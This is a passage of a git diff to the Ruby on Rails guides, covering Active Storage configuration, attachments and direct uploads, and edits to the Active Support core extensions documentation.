+(https://docs.aws.amazon.com/sdk-for-ruby/v3/developer-guide/setup-config.html).
+
+
+### Microsoft Azure Storage Service
+
+Declare an Azure Storage service in `config/storage.yml`:
+
+```yaml
+azure:
+ service: AzureStorage
+ storage_account_name: ""
+ storage_access_key: ""
+ container: ""
+```
+
+Add the [`azure-storage`](https://github.com/Azure/azure-storage-ruby) gem to your `Gemfile`:
+
+```ruby
+gem "azure-storage", require: false
+```
+
+### Google Cloud Storage Service
+
+Declare a Google Cloud Storage service in `config/storage.yml`:
+
+```yaml
+google:
+ service: GCS
+ credentials: <%= Rails.root.join("path/to/keyfile.json") %>
+ project: ""
+ bucket: ""
+```
+
+Optionally provide a Hash of credentials instead of a keyfile path:
+
+```yaml
+google:
+ service: GCS
+ credentials:
+ type: "service_account"
+ project_id: ""
+ private_key_id: <%= Rails.application.credentials.dig(:gcs, :private_key_id) %>
+ private_key: <%= Rails.application.credentials.dig(:gcs, :private_key).dump %>
+ client_email: ""
+ client_id: ""
+ auth_uri: "https://accounts.google.com/o/oauth2/auth"
+ token_uri: "https://accounts.google.com/o/oauth2/token"
+ auth_provider_x509_cert_url: "https://www.googleapis.com/oauth2/v1/certs"
+ client_x509_cert_url: ""
+ project: ""
+ bucket: ""
+```
+
+Add the [`google-cloud-storage`](https://github.com/GoogleCloudPlatform/google-cloud-ruby/tree/master/google-cloud-storage) gem to your `Gemfile`:
+
+```ruby
+gem "google-cloud-storage", "~> 1.11", require: false
+```
+
+### Mirror Service
+
+You can keep multiple services in sync by defining a mirror service. When a file
+is uploaded or deleted, it's done across all the mirrored services. Mirrored
+services can be used to facilitate a migration between services in production.
+You can start mirroring to the new service, copy existing files from the old
+service to the new, then go all-in on the new service. Define each of the
+services you'd like to use as described above and reference them from a mirrored
+service.
+
+```yaml
+s3_west_coast:
+ service: S3
+ access_key_id: ""
+ secret_access_key: ""
+ region: ""
+ bucket: ""
+
+s3_east_coast:
+ service: S3
+ access_key_id: ""
+ secret_access_key: ""
+ region: ""
+ bucket: ""
+
+production:
+ service: Mirror
+ primary: s3_east_coast
+ mirrors:
+ - s3_west_coast
+```
+
+NOTE: Files are served from the primary service.
+
+NOTE: This is not compatible with the [direct uploads](#direct-uploads) feature.
+
+Attaching Files to Records
+--------------------------
+
+### `has_one_attached`
+
+The `has_one_attached` macro sets up a one-to-one mapping between records and
+files. Each record can have one file attached to it.
+
+For example, suppose your application has a `User` model. If you want each user to
+have an avatar, define the `User` model like this:
+
+```ruby
+class User < ApplicationRecord
+ has_one_attached :avatar
+end
+```
+
+You can create a user with an avatar:
+
+```erb
+<%= form.file_field :avatar %>
+```
+
+```ruby
+class SignupController < ApplicationController
+ def create
+ user = User.create!(user_params)
+ session[:user_id] = user.id
+ redirect_to root_path
+ end
+
+ private
+ def user_params
+ params.require(:user).permit(:email_address, :password, :avatar)
+ end
+end
+```
+
+Call `avatar.attach` to attach an avatar to an existing user:
+
+```ruby
+user.avatar.attach(params[:avatar])
+```
+
+Call `avatar.attached?` to determine whether a particular user has an avatar:
+
+```ruby
+user.avatar.attached?
+```
+
+### `has_many_attached`
+
+The `has_many_attached` macro sets up a one-to-many relationship between records
+and files. Each record can have many files attached to it.
+
+For example, suppose your application has a `Message` model. If you want each
+message to have many images, define the `Message` model like this:
+
+```ruby
+class Message < ApplicationRecord
+ has_many_attached :images
+end
+```
+
+You can create a message with images:
+
+```ruby
+class MessagesController < ApplicationController
+ def create
+ message = Message.create!(message_params)
+ redirect_to message
+ end
+
+ private
+ def message_params
+ params.require(:message).permit(:title, :content, images: [])
+ end
+end
+```
+
+Call `images.attach` to add new images to an existing message:
+
+```ruby
+@message.images.attach(params[:images])
+```
+
+Call `images.attached?` to determine whether a particular message has any images:
+
+```ruby
+@message.images.attached?
+```
+
+### Attaching File/IO Objects
+
+Sometimes you need to attach a file that doesn’t arrive via an HTTP request.
+For example, you may want to attach a file you generated on disk or downloaded
+from a user-submitted URL. You may also want to attach a fixture file in a
+model test. To do that, provide a Hash containing at least an open IO object
+and a filename:
+
+```ruby
+@message.image.attach(io: File.open('/path/to/file'), filename: 'file.pdf')
+```
+
+When possible, provide a content type as well. Active Storage attempts to
+determine a file’s content type from its data. It falls back to the content
+type you provide if it can’t do that.
+
+```ruby
+@message.image.attach(io: File.open('/path/to/file'), filename: 'file.pdf', content_type: 'application/pdf')
+```
+
+You can bypass the content type inference from the data by passing in
+`identify: false` along with the `content_type`.
+
+```ruby
+@message.image.attach(
+ io: File.open('/path/to/file'),
+ filename: 'file.pdf',
+ content_type: 'application/pdf',
+ identify: false
+)
+```
+
+If you don’t provide a content type and Active Storage can’t determine the
+file’s content type automatically, it defaults to application/octet-stream.
+
+
+Removing Files
+--------------
+
+To remove an attachment from a model, call `purge` on the attachment. Removal
+can be done in the background if your application is setup to use Active Job.
+Purging deletes the blob and the file from the storage service.
+
+```ruby
+# Synchronously destroy the avatar and actual resource files.
+user.avatar.purge
+
+# Destroy the associated models and actual resource files async, via Active Job.
+user.avatar.purge_later
+```
+
+Linking to Files
+----------------
+
+Generate a permanent URL for the blob that points to the application. Upon
+access, a redirect to the actual service endpoint is returned. This indirection
+decouples the public URL from the actual one, and allows, for example, mirroring
+attachments in different services for high-availability. The redirection has an
+HTTP expiration of 5 min.
+
+```ruby
+url_for(user.avatar)
+```
+
+To create a download link, use the `rails_blob_{path|url}` helper. Using this
+helper allows you to set the disposition.
+
+```ruby
+rails_blob_path(user.avatar, disposition: "attachment")
+```
+
+If you need to create a link from outside of controller/view context (Background
+jobs, Cronjobs, etc.), you can access the rails_blob_path like this:
+
+```
+Rails.application.routes.url_helpers.rails_blob_path(user.avatar, only_path: true)
+```
+
+Downloading Files
+-----------------
+
+Sometimes you need to process a blob after it’s uploaded—for example, to convert
+it to a different format. Use `ActiveStorage::Blob#download` to read a blob’s
+binary data into memory:
+
+```ruby
+binary = user.avatar.download
+```
+
+You might want to download a blob to a file on disk so an external program (e.g.
+a virus scanner or media transcoder) can operate on it. Use
+`ActiveStorage::Blob#open` to download a blob to a tempfile on disk:
+
+```ruby
+message.video.open do |file|
+ system '/path/to/virus/scanner', file.path
+ # ...
+end
+```
+
+Transforming Images
+-------------------
+
+To create a variation of the image, call `variant` on the `Blob`. You can pass
+any transformation to the method supported by the processor. The default
+processor is [MiniMagick](https://github.com/minimagick/minimagick), but you
+can also use [Vips](http://www.rubydoc.info/gems/ruby-vips/Vips/Image).
+
+To enable variants, add the `image_processing` gem to your `Gemfile`:
+
+```ruby
+gem 'image_processing', '~> 1.2'
+```
+
+When the browser hits the variant URL, Active Storage will lazily transform the
+original blob into the specified format and redirect to its new service
+location.
+
+```erb
+<%= image_tag user.avatar.variant(resize_to_fit: [100, 100]) %>
+```
+
+To switch to the Vips processor, you would add the following to
+`config/application.rb`:
+
+```ruby
+# Use Vips for processing variants.
+config.active_storage.variant_processor = :vips
+```
+
+Previewing Files
+----------------
+
+Some non-image files can be previewed: that is, they can be presented as images.
+For example, a video file can be previewed by extracting its first frame. Out of
+the box, Active Storage supports previewing videos and PDF documents.
+
+```erb
+<ul>
+ <% @message.files.each do |file| %>
+ <li>
+ <%= image_tag file.preview(resize_to_limit: [100, 100]) %>
+ </li>
+ <% end %>
+</ul>
+```
+
+WARNING: Extracting previews requires third-party applications, FFmpeg for
+video and muPDF for PDFs, and on macOS also XQuartz and Poppler.
+These libraries are not provided by Rails. You must install them yourself to
+use the built-in previewers. Before you install and use third-party software,
+make sure you understand the licensing implications of doing so.
+
+
+Direct Uploads
+--------------
+
+Active Storage, with its included JavaScript library, supports uploading
+directly from the client to the cloud.
+
+### Direct upload installation
+
+1. Include `activestorage.js` in your application's JavaScript bundle.
+
+ Using the asset pipeline:
+
+ ```js
+ //= require activestorage
+
+ ```
+
+ Using the npm package:
+
+ ```js
+ import * as ActiveStorage from "activestorage"
+ ActiveStorage.start()
+ ```
+
+2. Annotate file inputs with the direct upload URL.
+
+ ```erb
+ <%= form.file_field :attachments, multiple: true, direct_upload: true %>
+ ```
+3. That's it! Uploads begin upon form submission.
+
+### Direct upload JavaScript events
+
+| Event name | Event target | Event data (`event.detail`) | Description |
+| --- | --- | --- | --- |
+| `direct-uploads:start` | `<form>` | None | A form containing files for direct upload fields was submitted. |
+| `direct-upload:initialize` | `<input>` | `{id, file}` | Dispatched for every file after form submission. |
+| `direct-upload:start` | `<input>` | `{id, file}` | A direct upload is starting. |
+| `direct-upload:before-blob-request` | `<input>` | `{id, file, xhr}` | Before making a request to your application for direct upload metadata. |
+| `direct-upload:before-storage-request` | `<input>` | `{id, file, xhr}` | Before making a request to store a file. |
+| `direct-upload:progress` | `<input>` | `{id, file, progress}` | As requests to store files progress. |
+| `direct-upload:error` | `<input>` | `{id, file, error}` | An error occurred. An `alert` will display unless this event is canceled. |
+| `direct-upload:end` | `<input>` | `{id, file}` | A direct upload has ended. |
+| `direct-uploads:end` | `<form>` | None | All direct uploads have ended. |
+
+### Example
+
+You can use these events to show the progress of an upload.
+
+![direct-uploads](https://user-images.githubusercontent.com/5355/28694528-16e69d0c-72f8-11e7-91a7-c0b8cfc90391.gif)
+
+To show the uploaded files in a form:
+
+```js
+// direct_uploads.js
+
+addEventListener("direct-upload:initialize", event => {
+ const { target, detail } = event
+ const { id, file } = detail
+ target.insertAdjacentHTML("beforebegin", `
+ <div id="direct-upload-${id}" class="direct-upload direct-upload--pending">
+ <div id="direct-upload-progress-${id}" class="direct-upload__progress" style="width: 0%"></div>
+ <span class="direct-upload__filename">${file.name}</span>
+ </div>
+ `)
+})
+
+addEventListener("direct-upload:start", event => {
+ const { id } = event.detail
+ const element = document.getElementById(`direct-upload-${id}`)
+ element.classList.remove("direct-upload--pending")
+})
+
+addEventListener("direct-upload:progress", event => {
+ const { id, progress } = event.detail
+ const progressElement = document.getElementById(`direct-upload-progress-${id}`)
+ progressElement.style.width = `${progress}%`
+})
+
+addEventListener("direct-upload:error", event => {
+ event.preventDefault()
+ const { id, error } = event.detail
+ const element = document.getElementById(`direct-upload-${id}`)
+ element.classList.add("direct-upload--error")
+ element.setAttribute("title", error)
+})
+
+addEventListener("direct-upload:end", event => {
+ const { id } = event.detail
+ const element = document.getElementById(`direct-upload-${id}`)
+ element.classList.add("direct-upload--complete")
+})
+```
+
+Add styles:
+
+```css
+/* direct_uploads.css */
+
+.direct-upload {
+ display: inline-block;
+ position: relative;
+ padding: 2px 4px;
+ margin: 0 3px 3px 0;
+ border: 1px solid rgba(0, 0, 0, 0.3);
+ border-radius: 3px;
+ font-size: 11px;
+ line-height: 13px;
+}
+
+.direct-upload--pending {
+ opacity: 0.6;
+}
+
+.direct-upload__progress {
+ position: absolute;
+ top: 0;
+ left: 0;
+ bottom: 0;
+ opacity: 0.2;
+ background: #0076ff;
+ transition: width 120ms ease-out, opacity 60ms 60ms ease-in;
+ transform: translate3d(0, 0, 0);
+}
+
+.direct-upload--complete .direct-upload__progress {
+ opacity: 0.4;
+}
+
+.direct-upload--error {
+ border-color: red;
+}
+
+input[type=file][data-direct-upload-url][disabled] {
+ display: none;
+}
+```
+
+### Integrating with Libraries or Frameworks
+
+If you want to use the Direct Upload feature from a JavaScript framework, or
+you want to integrate custom drag and drop solutions, you can use the
+`DirectUpload` class for this purpose. Upon receiving a file from your library
+of choice, instantiate a DirectUpload and call its create method. Create takes
+a callback to invoke when the upload completes.
+
+```js
+import { DirectUpload } from "activestorage"
+
+const input = document.querySelector('input[type=file]')
+
+// Bind to file drop - use the ondrop on a parent element or use a
+// library like Dropzone
+const onDrop = (event) => {
+ event.preventDefault()
+ const files = event.dataTransfer.files;
+ Array.from(files).forEach(file => uploadFile(file))
+}
+
+// Bind to normal file selection
+input.addEventListener('change', (event) => {
+ Array.from(input.files).forEach(file => uploadFile(file))
+ // you might clear the selected files from the input
+ input.value = null
+})
+
+const uploadFile = (file) {
+ // your form needs the file_field direct_upload: true, which
+ // provides data-direct-upload-url
+ const url = input.dataset.directUploadUrl
+ const upload = new DirectUpload(file, url)
+
+ upload.create((error, blob) => {
+ if (error) {
+ // Handle the error
+ } else {
+ // Add an appropriately-named hidden input to the form with a
+ // value of blob.signed_id so that the blob ids will be
+ // transmitted in the normal upload flow
+ const hiddenField = document.createElement('input')
+ hiddenField.setAttribute("type", "hidden");
+ hiddenField.setAttribute("value", blob.signed_id);
+ hiddenField.name = input.name
+ document.querySelector('form').appendChild(hiddenField)
+ }
+ })
+}
+```
+
+If you need to track the progress of the file upload, you can pass a third
+parameter to the `DirectUpload` constructor. During the upload, DirectUpload
+will call the object's `directUploadWillStoreFileWithXHR` method. You can then
+bind your own progress handler on the XHR.
+
+```js
+import { DirectUpload } from "activestorage"
+
+class Uploader {
+ constructor(file, url) {
+ this.upload = new DirectUpload(this.file, this.url, this)
+ }
+
+ upload(file) {
+ this.upload.create((error, blob) => {
+ if (error) {
+ // Handle the error
+ } else {
+ // Add an appropriately-named hidden input to the form
+ // with a value of blob.signed_id
+ }
+ })
+ }
+
+ directUploadWillStoreFileWithXHR(request) {
+ request.upload.addEventListener("progress",
+ event => this.directUploadDidProgress(event))
+ }
+
+ directUploadDidProgress(event) {
+ // Use event.loaded and event.total to update the progress bar
+ }
+}
+```
+
+Discarding Files Stored During System Tests
+-------------------------------------------
+
+System tests clean up test data by rolling back a transaction. Because destroy
+is never called on an object, the attached files are never cleaned up. If you
+want to clear the files, you can do it in an `after_teardown` callback. Doing it
+here ensures that all connections created during the test are complete and
+you won't receive an error from Active Storage saying it can't find a file.
+
+```ruby
+class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
+ driven_by :selenium, using: :chrome, screen_size: [1400, 1400]
+
+ def remove_uploaded_files
+ FileUtils.rm_rf("#{Rails.root}/storage_test")
+ end
+
+ def after_teardown
+ super
+ remove_uploaded_files
+ end
+end
+```
+
+If your system tests verify the deletion of a model with attachments and you're
+using Active Job, set your test environment to use the inline queue adapter so
+the purge job is executed immediately rather at an unknown time in the future.
+
+You may also want to use a separate service definition for the test environment
+so your tests don't delete the files you create during development.
+
+```ruby
+# Use inline job processing to make things happen immediately
+config.active_job.queue_adapter = :inline
+
+# Separate file storage in the test environment
+config.active_storage.service = :local_test
+```
+
+Discarding Files Stored During Integration Tests
+-------------------------------------------
+
+Similarly to System Tests, files uploaded during Integration Tests will not be
+automatically cleaned up. If you want to clear the files, you can do it in an
+`after_teardown` callback. Doing it here ensures that all connections created
+during the test are complete and you won't receive an error from Active Storage
+saying it can't find a file.
+
+```ruby
+module ActionDispatch
+ class IntegrationTest
+ def remove_uploaded_files
+ FileUtils.rm_rf(Rails.root.join('tmp', 'storage'))
+ end
+
+ def after_teardown
+ super
+ remove_uploaded_files
+ end
+ end
+end
+```
+
+Implementing Support for Other Cloud Services
+---------------------------------------------
+
+If you need to support a cloud service other than these, you will need to
+implement the Service. Each service extends
+[`ActiveStorage::Service`](https://github.com/rails/rails/blob/master/activestorage/lib/active_storage/service.rb)
+by implementing the methods necessary to upload and download files to the cloud.
diff --git a/guides/source/active_support_core_extensions.md b/guides/source/active_support_core_extensions.md
index 67bed4c8da..f9fc7044ba 100644
--- a/guides/source/active_support_core_extensions.md
+++ b/guides/source/active_support_core_extensions.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
Active Support Core Extensions
==============================
@@ -135,16 +135,14 @@ NOTE: Defined in `active_support/core_ext/object/blank.rb`.
### `duplicable?`
-In Ruby 2.4 most objects can be duplicated via `dup` or `clone` except
-methods and certain numbers. Though Ruby 2.2 and 2.3 can't duplicate `nil`,
-`false`, `true`, and symbols as well as instances `Float`, `Fixnum`,
-and `Bignum` instances.
+As of Ruby 2.5, most objects can be duplicated via `dup` or `clone`:
```ruby
"foo".dup # => "foo"
"".dup # => ""
-1.method(:+).dup # => TypeError: allocator undefined for Method
-Complex(0).dup # => TypeError: can't copy Complex
+Rational(1).dup # => (1/1)
+Complex(0).dup # => (0+0i)
+1.method(:+).dup # => TypeError (allocator undefined for Method)
```
Active Support provides `duplicable?` to query an object about this:
@@ -152,35 +150,18 @@ Active Support provides `duplicable?` to query an object about this:
```ruby
"foo".duplicable? # => true
"".duplicable? # => true
-Rational(1).duplicable? # => false
-Complex(1).duplicable? # => false
+Rational(1).duplicable? # => true
+Complex(1).duplicable? # => true
1.method(:+).duplicable? # => false
```
-`duplicable?` matches Ruby's `dup` according to the Ruby version.
-
-So in 2.4:
+`duplicable?` matches the current Ruby version's `dup` behavior,
+so results will vary according the version of Ruby you're using.
+In Ruby 2.4, for example, Complex and Rational are not duplicable:
```ruby
-nil.dup # => nil
-:my_symbol.dup # => :my_symbol
-1.dup # => 1
-
-nil.duplicable? # => true
-:my_symbol.duplicable? # => true
-1.duplicable? # => true
-```
-
-Whereas in 2.2 and 2.3:
-
-```ruby
-nil.dup # => TypeError: can't dup NilClass
-:my_symbol.dup # => TypeError: can't dup Symbol
-1.dup # => TypeError: can't dup Fixnum
-
-nil.duplicable? # => false
-:my_symbol.duplicable? # => false
-1.duplicable? # => false
+Rational(1).duplicable? # => false
+Complex(1).duplicable? # => false
```
WARNING: Any class can disallow duplication by removing `dup` and `clone` or raising exceptions from them. Thus only `rescue` can tell whether a given arbitrary object is duplicable. `duplicable?` depends on the hard-coded list above, but it is much faster than `rescue`. Use it only if you know the hard-coded list is enough in your use case.
@@ -634,7 +615,7 @@ NOTE: Defined in `active_support/core_ext/module/introspection.rb`.
#### `parent_name`
-The `parent_name` method on a nested named module returns the fully-qualified name of the module that contains its corresponding constant:
+The `parent_name` method on a nested named module returns the fully qualified name of the module that contains its corresponding constant:
```ruby
module X
@@ -674,44 +655,6 @@ M.parents # => [X::Y, X, Object]
NOTE: Defined in `active_support/core_ext/module/introspection.rb`.
-### Reachable
-
-A named module is reachable if it is stored in its corresponding constant. It means you can reach the module object via the constant.
-
-That is what ordinarily happens, if a module is called "M", the `M` constant exists and holds it:
-
-```ruby
-module M
-end
-
-M.reachable? # => true
-```
-
-But since constants and modules are indeed kind of decoupled, module objects can become unreachable:
-
-```ruby
-module M
-end
-
-orphan = Object.send(:remove_const, :M)
-
-# The module object is orphan now but it still has a name.
-orphan.name # => "M"
-
-# You cannot reach it via the constant M because it does not even exist.
-orphan.reachable? # => false
-
-# Let's define a module called "M" again.
-module M
-end
-
-# The constant M exists now again, and it stores a module
-# object called "M", but it is a new instance.
-orphan.reachable? # => false
-```
-
-NOTE: Defined in `active_support/core_ext/module/reachable.rb`.
-
### Anonymous
A module may or may not have a name:
@@ -745,7 +688,6 @@ end
m = Object.send(:remove_const, :M)
-m.reachable? # => false
m.anonymous? # => false
```
@@ -755,6 +697,8 @@ NOTE: Defined in `active_support/core_ext/module/anonymous.rb`.
### Method Delegation
+#### `delegate`
+
The macro `delegate` offers an easy way to forward methods.
Let's imagine that users in some application have login information in the `User` model but name and other data in a separate `Profile` model:
@@ -835,15 +779,46 @@ delegate :size, to: :attachment, prefix: :avatar
In the previous example the macro generates `avatar_size` rather than `size`.
+The option `:private` changes methods scope:
+
+```ruby
+delegate :date_of_birth, to: :profile, private: true
+```
+
+The delegated methods are public by default. Pass `private: true` to change that.
+
NOTE: Defined in `active_support/core_ext/module/delegation.rb`
+#### `delegate_missing_to`
+
+Imagine you would like to delegate everything missing from the `User` object,
+to the `Profile` one. The `delegate_missing_to` macro lets you implement this
+in a breeze:
+
+```ruby
+class User < ApplicationRecord
+ has_one :profile
+
+ delegate_missing_to :profile
+end
+```
+
+The target can be anything callable within the object, e.g. instance variables,
+methods, constants, etc. Only the public methods of the target are delegated.
+
+NOTE: Defined in `active_support/core_ext/module/delegation.rb`.
+
### Redefining Methods
There are cases where you need to define a method with `define_method`, but don't know whether a method with that name already exists. If it does, a warning is issued if they are enabled. No big deal, but not clean either.
The method `redefine_method` prevents such a potential warning, removing the existing method before if needed.
-NOTE: Defined in `active_support/core_ext/module/remove_method.rb`
+You can also use `silence_redefinition_of_method` if you need to define
+the replacement method yourself (because you're using `delegate`, for
+example).
+
+NOTE: Defined in `active_support/core_ext/module/redefine_method.rb`.
Extensions to `Class`
---------------------
@@ -906,8 +881,7 @@ The generation of the writer instance method can be prevented by setting the opt
```ruby
module ActiveRecord
class Base
- class_attribute :table_name_prefix, instance_writer: false
- self.table_name_prefix = ""
+ class_attribute :table_name_prefix, instance_writer: false, default: "my"
end
end
```
@@ -931,7 +905,7 @@ When `:instance_reader` is `false`, the instance predicate returns a `NoMethodEr
If you do not want the instance predicate, pass `instance_predicate: false` and it will not be defined.
-NOTE: Defined in `active_support/core_ext/class/attribute.rb`
+NOTE: Defined in `active_support/core_ext/class/attribute.rb`.
#### `cattr_reader`, `cattr_writer`, and `cattr_accessor`
@@ -941,7 +915,15 @@ The macros `cattr_reader`, `cattr_writer`, and `cattr_accessor` are analogous to
class MysqlAdapter < AbstractAdapter
# Generates class methods to access @@emulate_booleans.
cattr_accessor :emulate_booleans
- self.emulate_booleans = true
+end
+```
+
+Also, you can pass a block to `cattr_*` to set up the attribute with a default value:
+
+```ruby
+class MysqlAdapter < AbstractAdapter
+ # Generates class methods to access @@emulate_booleans with default value of true.
+ cattr_accessor :emulate_booleans, default: true
end
```
@@ -950,23 +932,13 @@ Instance methods are created as well for convenience, they are just proxies to t
```ruby
module ActionView
class Base
- cattr_accessor :field_error_proc
- @@field_error_proc = Proc.new{ ... }
+ cattr_accessor :field_error_proc, default: Proc.new { ... }
end
end
```
we can access `field_error_proc` in views.
-Also, you can pass a block to `cattr_*` to set up the attribute with a default value:
-
-```ruby
-class MysqlAdapter < AbstractAdapter
- # Generates class methods to access @@emulate_booleans with default value of true.
- cattr_accessor(:emulate_booleans) { true }
-end
-```
-
The generation of the reader instance method can be prevented by setting `:instance_reader` to `false` and the generation of the writer instance method can be prevented by setting `:instance_writer` to `false`. Generation of both methods can be prevented by setting `:instance_accessor` to `false`. In all cases, the value must be exactly `false` and not any false value.
```ruby
@@ -1691,7 +1663,7 @@ Specifically performs these transformations:
* Capitalizes the first word.
The capitalization of the first word can be turned off by setting the
-+:capitalize+ option to false (default is true).
+`:capitalize` option to false (default is true).
```ruby
"name".humanize # => "Name"
@@ -1769,7 +1741,7 @@ The methods `to_date`, `to_time`, and `to_datetime` are basically convenience wr
"2010-07-27 23:42:00".to_time(:local) # => 2010-07-27 23:42:00 +0200
```
-Default is `:utc`.
+Default is `:local`.
Please refer to the documentation of `Date._parse` for further details.
@@ -1813,7 +1785,7 @@ NOTE: Defined in `active_support/core_ext/numeric/bytes.rb`.
### Time
-Enables the use of time calculations and declarations, like `45.minutes + 2.hours + 4.years`.
+Enables the use of time calculations and declarations, like `45.minutes + 2.hours + 4.weeks`.
These methods use Time#advance for precise date calculations when using from_now, ago, etc.
as well as adding or subtracting their results from a Time object. For example:
@@ -1822,14 +1794,16 @@ as well as adding or subtracting their results from a Time object. For example:
# equivalent to Time.current.advance(months: 1)
1.month.from_now
-# equivalent to Time.current.advance(years: 2)
-2.years.from_now
+# equivalent to Time.current.advance(weeks: 2)
+2.weeks.from_now
-# equivalent to Time.current.advance(months: 4, years: 5)
-(4.months + 5.years).from_now
+# equivalent to Time.current.advance(months: 4, weeks: 5)
+(4.months + 5.weeks).from_now
```
-NOTE: Defined in `active_support/core_ext/numeric/time.rb`
+WARNING. For other durations please refer to the time extensions to `Integer`.
+
+NOTE: Defined in `active_support/core_ext/numeric/time.rb`.
### Formatting
@@ -1964,6 +1938,28 @@ The method `ordinalize` returns the ordinal string corresponding to the receiver
NOTE: Defined in `active_support/core_ext/integer/inflections.rb`.
+### Time
+
+Enables the use of time calculations and declarations, like `4.months + 5.years`.
+
+These methods use Time#advance for precise date calculations when using from_now, ago, etc.
+as well as adding or subtracting their results from a Time object. For example:
+
+```ruby
+# equivalent to Time.current.advance(months: 1)
+1.month.from_now
+
+# equivalent to Time.current.advance(years: 2)
+2.years.from_now
+
+# equivalent to Time.current.advance(months: 4, years: 5)
+(4.months + 5.years).from_now
+```
+
+WARNING. For other durations please refer to the time extensions to `Numeric`.
+
+NOTE: Defined in `active_support/core_ext/integer/time.rb`.
+
Extensions to `BigDecimal`
--------------------------
### `to_s`
@@ -1971,19 +1967,19 @@ Extensions to `BigDecimal`
The method `to_s` provides a default specifier of "F". This means that a simple call to `to_s` will result in floating point representation instead of engineering notation:
```ruby
-BigDecimal.new(5.00, 6).to_s # => "5.0"
+BigDecimal(5.00, 6).to_s # => "5.0"
```
and that symbol specifiers are also supported:
```ruby
-BigDecimal.new(5.00, 6).to_s(:db) # => "5.0"
+BigDecimal(5.00, 6).to_s(:db) # => "5.0"
```
Engineering notation is still supported:
```ruby
-BigDecimal.new(5.00, 6).to_s("e") # => "0.5E1"
+BigDecimal(5.00, 6).to_s("e") # => "0.5E1"
```
Extensions to `Enumerable`
@@ -2043,6 +2039,21 @@ WARNING. Keys should normally be unique. If the block returns the same value for
NOTE: Defined in `active_support/core_ext/enumerable.rb`.
+### `index_with`
+
+The method `index_with` generates a hash with the elements of an enumerable as keys. The value
+is either a passed default or returned in a block.
+
+```ruby
+%i( title body created_at ).index_with { |attr_name| post.public_send(attr_name) }
+# => { title: "hey", body: "what's up?", … }
+
+WEEKDAYS.index_with(Interval.all_day)
+# => { monday: [ 0, 1440 ], … }
+```
+
+NOTE: Defined in `active_support/core_ext/enumerable.rb`.
+
### `many?`
The method `many?` is shorthand for `collection.size > 1`:
@@ -2145,6 +2156,19 @@ This method is an alias of `Array#<<`.
NOTE: Defined in `active_support/core_ext/array/prepend_and_append.rb`.
+### Extracting
+
+The method `extract!` removes and returns the elements for which the block returns a true value.
+If no block is given, an Enumerator is returned instead.
+
+```ruby
+numbers = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
+odd_numbers = numbers.extract! { |number| number.odd? } # => [1, 3, 5, 7, 9]
+numbers # => [0, 2, 4, 6, 8]
+```
+
+NOTE: Defined in `active_support/core_ext/array/extract.rb`.
+
### Options Extraction
When the last argument in a method call is a hash, except perhaps for a `&block` argument, Ruby allows you to omit the brackets:
@@ -2341,7 +2365,7 @@ This method is similar in purpose to `Kernel#Array`, but there are some differen
* If the argument responds to `to_ary` the method is invoked. `Kernel#Array` moves on to try `to_a` if the returned value is `nil`, but `Array.wrap` returns an array with the argument as its single element right away.
* If the returned value from `to_ary` is neither `nil` nor an `Array` object, `Kernel#Array` raises an exception, while `Array.wrap` does not, it just returns the value.
-* It does not call `to_a` on the argument, if the argument does not respond to +to_ary+ it returns an array with the argument as its single element.
+* It does not call `to_a` on the argument, if the argument does not respond to `to_ary` it returns an array with the argument as its single element.
The last point is particularly worth comparing for some enumerables:
@@ -2769,20 +2793,6 @@ Active Record does not accept unknown options when building associations, for ex
NOTE: Defined in `active_support/core_ext/hash/keys.rb`.
-### Working with Values
-
-#### `transform_values` && `transform_values!`
-
-The method `transform_values` accepts a block and returns a hash that has applied the block operations to each of the values in the receiver.
-
-```ruby
-{ nil => nil, 1 => 1, :x => :a }.transform_values { |value| value.to_s.upcase }
-# => {nil=>"", 1=>"1", :x=>"A"}
-```
-There's also the bang variant `transform_values!` that applies the block operations to values in the very receiver.
-
-NOTE: Defined in `active_support/core_ext/hash/transform_values.rb`.
-
### Slicing
Ruby has built-in support for taking slices out of strings and arrays. Active Support extends slicing to hashes:
@@ -2844,16 +2854,6 @@ The method `with_indifferent_access` returns an `ActiveSupport::HashWithIndiffer
NOTE: Defined in `active_support/core_ext/hash/indifferent_access.rb`.
-### Compacting
-
-The methods `compact` and `compact!` return a Hash without items with `nil` value.
-
-```ruby
-{a: 1, b: 2, c: nil}.compact # => {a: 1, b: 2}
-```
-
-NOTE: Defined in `active_support/core_ext/hash/compact.rb`.
-
Extensions to `Regexp`
----------------------
@@ -2883,24 +2883,6 @@ end
NOTE: Defined in `active_support/core_ext/regexp.rb`.
-### `match?`
-
-Rails implements `Regexp#match?` for Ruby versions prior to 2.4:
-
-```ruby
-/oo/.match?('foo') # => true
-/oo/.match?('bar') # => false
-/oo/.match?('foo', 1) # => true
-```
-
-The backport has the same interface and lack of side-effects in the caller like
-not setting `$1` and friends, but it does not have the speed benefits. Its
-purpose is to be able to write 2.4 compatible code. Rails itself uses this
-predicate internally for example.
-
-Active Support defines `Regexp#match?` only if not present, so code running
-under 2.4 or later does run the original one and gets the performance boost.
-
Extensions to `Range`
---------------------
@@ -2920,9 +2902,9 @@ As the example depicts, the `:db` format generates a `BETWEEN` SQL clause. That
NOTE: Defined in `active_support/core_ext/range/conversions.rb`.
-### `include?`
+### `===`, `include?`, and `cover?`
-The methods `Range#include?` and `Range#===` say whether some value falls between the ends of a given instance:
+The methods `Range#===`, `Range#include?`, and `Range#cover?` say whether some value falls between the ends of a given instance:
```ruby
(2..3).include?(Math::E) # => true
@@ -2931,18 +2913,23 @@ The methods `Range#include?` and `Range#===` say whether some value falls betwee
Active Support extends these methods so that the argument may be another range in turn. In that case we test whether the ends of the argument range belong to the receiver themselves:
```ruby
+(1..10) === (3..7) # => true
+(1..10) === (0..7) # => false
+(1..10) === (3..11) # => false
+(1...9) === (3..9) # => false
+
(1..10).include?(3..7) # => true
(1..10).include?(0..7) # => false
(1..10).include?(3..11) # => false
(1...9).include?(3..9) # => false
-(1..10) === (3..7) # => true
-(1..10) === (0..7) # => false
-(1..10) === (3..11) # => false
-(1...9) === (3..9) # => false
+(1..10).cover?(3..7) # => true
+(1..10).cover?(0..7) # => false
+(1..10).cover?(3..11) # => false
+(1...9).cover?(3..9) # => false
```
-NOTE: Defined in `active_support/core_ext/range/include_range.rb`.
+NOTE: Defined in `active_support/core_ext/range/compare_range.rb`.
### `overlaps?`
